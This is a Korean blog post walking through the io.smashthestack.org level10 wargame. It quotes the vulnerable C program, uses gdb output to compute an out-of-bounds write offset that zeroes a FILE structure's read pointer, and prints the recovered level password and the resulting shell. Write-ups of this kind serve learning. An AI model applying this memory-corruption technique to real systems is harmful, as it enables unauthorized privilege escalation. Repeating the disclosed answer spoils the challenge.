티스토리 뷰
//written by andersonc0d3 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main(int argc, char **argv) { FILE *fp = fopen("/levels/level10_alt.pass", "r"); struct { char pass[20], msg_err[20] } pwfile = {{0}}; char ptr[0]; if(!fp || argc != 2) return -1; fread(pwfile.pass, 1, 20, fp); pwfile.pass[19] = 0; ptr[atoi(argv[1])] = 0; fread(pwfile.msg_err, 1, 19, fp); fclose(fp); if(!strcmp(pwfile.pass, argv[1])) { execl("/bin/sh", "sh", 0); } else { puts(pwfile.msg_err); } return 0; }
오늘 푼 문제인데... 좀 많이 삽질을 했다.
else { puts(pwfile.msg_err); }
이 부분에서는 "ACCESS DENIED..." 가 뜬다. 즉
fread(pwfile.pass, 1, 20, fp); fread(pwfile.msg_err, 1, 19, fp);
pwfile.pass는 파일의 0~20까지가 들어가며 우리가 구해야 할 password가 들어감.
pwfile.msg_err에는 파일의 21~40까지가 들어가며 틀렸을 경우 "ACCESS DENIED..."가 들어감
ptr[atoi(argv[1])] = 0;
이 부분으로 password를 가져와야 함
[*] 시나리오
[1] fread로 두번 읽는데 만약 두번째, 즉 msg_err가 들어갈 부분에 password가 들어간다면?
[2] 파일 구조체에는 현재 파일요소를 가르키는 포인터가 있음. 그 부분을 0으로 만들면
msg_err에는 우리가 구해야 할 password가 들어감.
/tmp/err0rless10/ 디렉터리에다 직접 소스를 가져와서 gcc -g 옵션을 주고 컴파일함.
fp나 pwfile등의 주소를 가져올 수 있음.
(gdb) p *fp
$29 = {
_flags = -72539000, _IO_read_ptr = 0xb7fde014 'A' <repeats 13 times>, "\n",
_IO_read_end = 0xb7fde022 "",
_IO_read_base = 0xb7fde000 "12345678901234567890", 'A' <repeats 13 times>, "\n",
_IO_write_base = 0xb7fde000 "12345678901234567890", 'A' <repeats 13 times>, "\n",
_IO_write_ptr = 0xb7fde000 "12345678901234567890", 'A' <repeats 13 times>, "\n",
_IO_write_end = 0xb7fde000 "12345678901234567890", 'A' <repeats 13 times>, "\n",
_IO_buf_base = 0xb7fde000 "12345678901234567890", 'A' <repeats 13 times>, "\n",
_IO_buf_end = 0xb7fdf000 "d\360\375\267\323\300\377\267", _IO_save_base = 0x0,
_IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0xb7fcf580,
_fileno = 7, _flags2 = 0, _old_offset = 0, _cur_column = 0,
_vtable_offset = 0 '\000', _shortbuf = "", _lock = 0x804a0a0, _offset = -1,
__pad1 = 0x0, __pad2 = 0x804a0ac, __pad3 = 0x0, __pad4 = 0x0, __pad5 = 0,
_mode = -1, _unused2 = '\000' <repeats 39 times>
}
_IO_read_ptr이 현재 파일 콘텐트중에 어디를 가르키고 있는지 저장해둠.
_IO_read_ptr = 0xb7fde014 'A' <repeats 13 times>, "\n"
_IO_read_ptr이 우리가 변조해야 할 포인터임.
그런데 말 그대로 포인터.. 0xb7fde014를 가리키고 있음.
(gdb) p &fp._IO_read_ptr
$30 = (char **) 0x804a00c
(gdb) x/50wx 0xb7fde014
0xb7fde014: 0x41414141 0x41414141 0x41414141 0x00000a41
0xb7fde024: 0x00000000 0x00000000 0x00000000 0x00000000
현재 ACCESS DENIED... 에 해당하는 AAAAA..를 가르키고 있음.
생각해봐야 할것은 AAAA를 가르키고 있다는건 현재 포인터가 21에 위치해 있다는 것이다.
0xb7fde014(21) 그러면 0이 가르키고 있는 곳으로 가보자.
(gdb) x/s 0xb7fde014 - 20
0xb7fde000: "12345678901234567890", 'A' <repeats 13 times>, "\n"
원래 패스워드에 해당하는 12345678901234567890과 포인터 21에 해당하는 A*13이 들어가 있음.
(gdb) p &ptr
$32 = (char (*)[]) 0xbffffc64
(gdb) p (int)&fp._IO_read_ptr - (int)&ptr
$34 = 1208263592
차이는 1208263592.
(gdb) r 1208263592
Starting program: /tmp/err0rless10/level10 1208263592
1234567890123456789
하지만 바이너리가 달라서 주소도 다름.
원본 바이너리에서 다시 구해야함. ASLR이 걸려 있지 않기 때문에
_IO_read_ptr의 주소는 같음.
in 원본 바이너리
(gdb) stepi
0x080485d3 in main ()
(gdb) x/100x $ebp-0x58
0xbffffc60
(gdb) p 0x804a00c - 0xbffffc60
$1 = 1208263596
level10@io:/levels$ ./level10 1208263596
AverYloNgPassword!!
패스워드를 구했다.
level10@io:/tmp/err0rless10$ /levels/level10 `python -c 'print "AverYloNgPassword!!"'`
sh-4.2$ whoami
level11
'Pwnable > io.smashthestack.org' 카테고리의 다른 글
[io.smashthestack.org] level09 (0) | 2015.01.05 |
---|---|
[io.smashthestack.org] level08 (0) | 2015.01.04 |
[io.smashthestack.org] level07 (0) | 2015.01.04 |
[io.smashthestack.org] level06 (0) | 2015.01.04 |
[io.smashthestack.org] level05 (0) | 2015.01.04 |